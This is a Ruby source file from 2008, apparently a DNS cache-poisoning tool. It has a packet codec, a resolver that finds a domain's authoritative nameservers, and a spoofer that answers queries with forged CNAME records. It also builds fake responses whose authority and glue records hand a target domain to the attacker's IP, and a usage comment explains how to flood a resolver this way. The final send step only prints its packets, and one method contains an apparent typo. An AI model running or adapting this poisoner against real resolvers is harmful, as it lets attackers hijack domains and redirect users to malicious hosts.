# # full-ruby dns poisonner # # author: Yoann Guillot (2008) # license: wtfpl # class ResourceRecord TYPE = %w[0 A NS MD MF CNAME SOA MB MG MR NULL WKS PTR HINFO MINFO MX TXT] + %w[RP AFSDB X25 ISDN RT NSAP NSAPPTR SIG KEY PX GPOS AAAA LOC NXT EID] + %w[NIMLOC SRV ATMA NAPTR KX CERT A6 DNAME SINK OPT UINFO UID GID] TYPE[252] = 'AXFR' TYPE[253] = 'MAILB' TYPE[254] = 'MAILA' TYPE[255] = '*' DNSCLASS = %w[0 IN CS CH HS] DNSCLASS[255] = '*' def self.decode_query(p) new.decode_query(p) end def self.decode(p) new.decode(p) end def self.new_q(name, type, cls='IN') q = new q.name = name q.type = type q.dnsclass = cls q end def self.new_r(name, type, rdata, ttl=3600, cls='IN') r = new_q(name, type, cls) r.ttl = ttl r.rdata = rdata r end attr_accessor :name, :type, :dnsclass, :ttl, :rdlength, :rdata_raw, :rdata def decode_query(dnspacket) @name = dnspacket.decode_domain @type = dnspacket.readshort @type = TYPE[@type] || @type @dnsclass = dnspacket.readshort @dnsclass = DNSCLASS[@dnsclass] || @dnsclass self end def decode(dnspacket) decode_query(dnspacket) @ttl = dnspacket.readlong @rdata_raw = dnspacket.read(dnspacket.readshort) interpret(dnspacket) self end def interpret(dnspacket) str = @rdata_raw.dup @rdata = case @type when 'CNAME', 'PTR', 'NS': dnspacket.decode_domain(str) when 'HINFO': { :cpu => dnspacketstr.readstr(str), :os => dnspacket.readstr(str) } when 'MX': { :preference => dnspacket.readshort(str), :exchange => dnspacket.decode_domain(str) } when 'SOA': { :mname => dnspacket.decode_domain(str), :rname => dnspacket.decode_domain(str), :serial => dnspacket.readlong(str), :refresh => dnspacket.readlong(str), :retry => dnspacket.readlong(str), :expire => dnspacket.readlong(str), :minimum => dnspacket.readlong(str) } when 'A': dnspacket.read(4, str).unpack('C*').join('.') when 'AAAA': dnspacket.read(16, str).unpack('n*').map { |i| i.to_s 16 }.join(':') end end def encode_query(dnspacket) dnspacket.encode_domain(@name) dnspacket.writeshort(TYPE.index(@type) || @type) dnspacket.writeshort(DNSCLASS.index(@dnsclass || 'IN') || @dnsclass) end def encode(dnspacket) encode_query(dnspacket) dnspacket.writelong(@ttl) encode_rdata(dnspacket) dnspacket.writeshort(@rdata_raw.length) dnspacket.write(@rdata_raw) end def encode_rdata(dnspacket) @rdata_raw = '' return if @rdata.empty? case @type when 'CNAME', 'NS', 'PTR': dnspacket.encode_domain(@rdata, @rdata_raw) when 'HINFO': dnspacket.writestr(@rdata[:cpu], @rdata_raw) ; dnspacket.writestr(@rdata[:os], @rdata_raw) when 'MX': dnspacket.writeshort(@rdata[:preference], @rdata_raw) ; dnspacket.encode_domain(@rdata[:exchange], @rdata_raw) when 'SOA': dnspacket.encode_domain(@rdata[:mname], @rdata_raw) ; dnspacket.encode_domain(@rdata[:rname], @rdata_raw) [:serial, :refresh, :retry, :expire, :minimum].each { |s| dnspacket.writelong(@rdata[s], @rdata_raw) } when 'A': dnspacket.write(@rdata.split('.').map { |i| i.to_i }.pack('C*'), @rdata_raw) when 'AAAA': bits = @rdata.split(':') if i = bits.index('') bits[i, 1] = %[0] * (9-bits.length) end dnspacket.write(bits.map { |i| i.to_i(16) }.pack('n*'), @rdata_raw) end end def to_s a = ["#{@name.inspect} #@type #@dnsclass#{" TTL #@ttl" if @ttl}"] a << (@rdata || @rdata_raw).inspect if @rdata or @rdata_raw a.join(" ") end end class DNSPacket class Pointer attr_accessor :ptr def initialize(ptr) @ptr = ptr end end OPCODE = %w[QUERY IQUERY STATUS] RCODE = %w[NOERROR FMTERR SERVFAIL NXDOMAIN NOTIMPLEMENTED REFUSED] def read(len, str=@curstr) ret = str[0, len] str[0, len] = '' ret end def readstr(str=@curstr) return '' if not len = read(1, str)[0] if (len >> 6) == 0b11 return '' if str.empty? len = len & 0b11_1111 len = (len << 8) | read(1, str)[0].to_i Pointer.new(len) else read(len, str) end end def readshort(str=@curstr) read(2, str).unpack('n').first end def readlong(str=@curstr) read(4, str).unpack('N').first end def write(str, out=@curstr) if out.equal? @curstr @domain_cache.each { |k, v| if v.kind_of? Array and v[0] == str @domain_cache[k] = out.length + v[1] end } end out << str end def writestr(str, out=@curstr) out << str.length << str end def writeshort(i, out=@curstr) out << [i].pack('n') end def writelong(i, out=@curstr) out << [i].pack('N') end def decode_domain(str=@curstr, recurs=false) ret = [] loop do case s = readstr(str) when Pointer if recurs and recurs <= 0 ret << '' else ret.concat decode_domain(@fullpacket[s.ptr..-1], (recurs ? recurs-1 : 8)) end break when '': break when String: ret << s end end recurs ? ret : ret.join('.') end def encode_domain(dom, out=@curstr) dom = dom.split('.') until dom.empty? if @domain_cache[dom].kind_of? Integer writeshort((0b11 << 14) | @domain_cache[dom]) return end @domain_cache[dom] ||= (out.equal? @curstr ? out.length : [out, out.length]) writestr(dom.shift, out) end writestr('', out) end def self.decode(p) new.decode(p) end attr_accessor :id, :qr, :opcode, :aa, :tc, :rd, :ra, :z, :rcode attr_accessor :question, :answer, :authority, :additional def decode(fullpacket) @fullpacket = fullpacket @curstr = fullpacket.dup @id = readshort flags = readshort @qr = (flags[15] == 0 ? :query : :response) @opcode = (flags >> 11) & 0b1111 @opcode = OPCODE[@opcode] || @opcode @aa = (flags[10] == 1 ? :authoritative : nil) @tc = (flags[9] == 1 ? :truncated : nil) @rd = (flags[8] == 1 ? :recursion_desired : nil) @ra = (flags[7] == 1 ? :recursion_available : nil) @z = (flags >> 4) & 0b111 @z = nil if @z == 0 @rcode = flags & 0b1111 @rcode = RCODE[@rcode] || @rcode qdcount = readshort ancount = readshort nscount = readshort arcount = readshort @question = (0...qdcount).map { ResourceRecord.new.decode_query(self) } @answer = (0...ancount).map { ResourceRecord.new.decode(self) } @authority = (0...nscount).map { ResourceRecord.new.decode(self) } @additional = (0...arcount).map { ResourceRecord.new.decode(self) } self end def encode @curstr = '' @domain_cache = {} flags = 0 flags |= 1 << 15 if @qr == :response op = OPCODE.index(@opcode || 'QUERY') || @opcode flags |= op.to_i << 11 flags |= 1 << 10 if @aa flags |= 1 << 9 if @tc flags |= 1 << 8 if @rd flags |= 1 << 7 if @ra flags |= @z.to_i << 4 rc = RCODE.index(@rcode || 'NOERROR') || @rcode flags |= rc.to_i @id ||= rand(0x10000) [@id, flags, @question.to_a.length, @answer.to_a.length, @authority.to_a.length, @additional.to_a.length].each { |s| writeshort(s) } @question.to_a.each { |q| q.encode_query(self) } (@answer.to_a+@authority.to_a+@additional.to_a).each { |q| q.encode(self) } @curstr end def add_question(q) (@question ||= []) << q ; self end def add_answer(q) (@answer ||= []) << q ; self end def add_authority(q) (@authority ||= []) << q ; self end def add_additional(q) (@additional ||= []) << q ; self end def to_s a = [[('DNS id=%04X' % @id), @qr, @opcode, @aa, @tc, @rd, @ra, @z, @rcode].compact.join(' ')] a << 'question:' << @question.join("\n") if @question.to_a != [] a << 'answer:' << @answer.join("\n") if @answer.to_a != [] a << 'authority:' << @authority.join("\n") if @authority.to_a != [] a << 'additional:' << @additional.join("\n") if @additional.to_a != [] a.join("\n") end end class DNSResolver def self.find_NS(zone) new.find_NS(zone) end def initialize(rootsrv='192.228.79.201') @send_cb = proc { |ip, rq| ntries = 0 begin @sock.send(rq.encode, 0, ip, 53) DNSPacket.decode @sock.recv(512) if IO.select([@sock], nil, nil, 3) rescue raise if ntries > 0 ntries += 1 @sock = UDPSocket.open retry end } @cache = { ['A', 'ROOT'] => [rootsrv], } end # returns the array of IP address of authoritative nameservers for the zone def find_NS(zone) zone = zone.downcase resolve(zone, 'NS') @cache[['NS', zone]].to_a.map { |ns| @cache[['A', ns]].to_a }.flatten.uniq.sort end def resolve(name, type) case type when 'A' recurse(name, 'A') if not @cache[['A', name]] and not @cache[['CNAME', name]] if cns = @cache[['CNAME', name]] cns.each { |cn| resolve(cn, 'A') } end when 'NS' recurse(name, 'NS') if not @cache[['NS', name]] @cache[['NS', name]].to_a.each { |ns| resolve(ns, 'A') } end end def recurse(name, type) puts "recurse #{type} #{name}" if $DEBUG name_a = name.split('.') ns = ['ROOT'] if not ns = (1...name_a.length).map { |l| @cache[['NS', name_a[l..-1].join('.')]] }.compact.first ns.each { |n| resolve(n, 'A') @cache[['A', n]].to_a.each { |ip| rq = DNSPacket.new.add_question ResourceRecord.new_q(name, type) next if not ans = @send_cb[ip, rq] (ans.answer + ans.authority + ans.additional).each { |rr| data = rr.rdata data = data.downcase if data.kind_of? String (@cache[[rr.type, rr.name.downcase]] ||= []) << data @cache[[rr.type, rr.name.downcase]].uniq! puts "#{rr.type} #{rr.name.downcase} = #{data.inspect}" if $DEBUG } if ans.rcode == 'NXDOMAIN' @cache[[name, type]] ||= [] end } } resolve(name, type) end end class DNSSpoofer def initialize(targetdomain, zone, ourip, port=53) @targetdomain = targetdomain @zone = zone @ourip = ourip @targetNS = DNSResolver.find_NS(targetdomain) raise if @targetNS.empty? @sock = UDPSocket.open @sock.bind(ourip, port) end def mainloop loop do next if not IO.select([@sock], nil, nil, 1) begin packet = @sock.recvfrom(512) rq = DNSPacket.decode(packet[0]) puts "\n<-- #{packet[1][3]} #{packet[1][1]} #{rq.id} #{rq.question.first.type} #{rq.question.first.name}" File.open('rqlog', 'a') { |fd| fd.puts "#{Time.now.to_i} #{packet[1][3]} #{packet[1][1]} #{rq.id} #{rq.question.first.type} #{rq.question.first.name}" } respond(rq, packet[1][3], packet[1][1]) rescue Exception puts $!, $!.backtrace end end end def respond(request, ip, port) ans = DNSPacket.new ans.id = request.id ans.opcode = request.opcode ans.question = request.question ans.qr = :response ans.aa = :authoritative ans.question.each { |q| case q.type when 'A' if a = @zone[q.name.downcase] ans.add_answer ResourceRecord.new_r(q.name, 'A', a, 60) elsif q.name =~ /#@targetdomain$/i ans.rcode = 'NXDOMAIN' else poison(ans, q.name, ip, port) return end when 'NS' ans.add_answer ResourceRecord.new_r(q.name, 'NS', "aoeuns.#{q.name}", 60) ans.add_additional ResourceRecord.new_r("aoeuns.#{q.name}", 'A', @ourip, 60) end } puts '-->', ans @sock.send(ans.encode, 0, ip, port) end def poison(ans, name, ip, port) cname = name.split('.').first + '.' + @targetdomain ans.add_answer ResourceRecord.new_r(name, 'CNAME', cname, 60) return if not prepare_poison(ans.id, cname, "aoeuns.#@targetdomain", @ourip, ip, port, @targetNS) puts '[x] poison ready' puts '-->', ans @sock.send(ans.encode, 0, ip, port) do_poison() end def prepare_poison(txid, ansname, ansNS, ansNSIP, targetip, targetport, authoritary_NS_list) @poison = [] fake = DNSPacket.new fake.id = rand(0x10000) fake.qr = :response fake.aa = :authoritative fake.add_question ResourceRecord.new_q(ansname, 'A') fake.add_answer ResourceRecord.new_r(ansname, 'A', '12.23.34.45', 60) fake.add_authority ResourceRecord.new_r(@targetdomain, 'NS', ansNS, 60) fake.add_additional ResourceRecord.new_r(ansNS, 'A', ansNSIP, 60) p ansNSIP @poison << fake.encode @poison_from = authoritary_NS_list @poison_targetip = targetip @poison_targetport = targetport true end def do_poison puts "\nwould send poison from #{@poison_from.inspect} to #{@poison_targetip}:#{@poison_targetport}", @poison.map { |e| DNSPacket.decode(e) } end end if $0 == __FILE__ # usage: poison.rb [:] [ ...] # eg 1.2.3.4:53 google.com www.google.com 1.2.3.5 # a zone (eg evil.com) must be delegated to us # A . will answer CNAME . and will flood the resolver with # malicious answers to A . with poisonning authority+additional to us # A www.google.com will answer 1.2.3.5 (cmdline args) # unknown targetdomain subquery will return NXDOMAIN # NS will answer NS aoeuns. + aoeuns. A # all TTLs are 60 seconds require 'socket' Socket.do_not_reverse_lookup = true abort 'our ip needed' if not ip = ARGV.shift ip, port = ip.split(':') ip = Socket.gethostbyname(ip).last.unpack('C*').join('.') port ||= 53 abort 'target needed' if not target = ARGV.shift zone = {} zone[ARGV.shift.downcase] = ARGV.shift until ARGV.empty? abort 'zone needed' if zone.empty? zone["aoeuns.#{target}"] = ip DNSSpoofer.new(target, zone, ip, port).mainloop end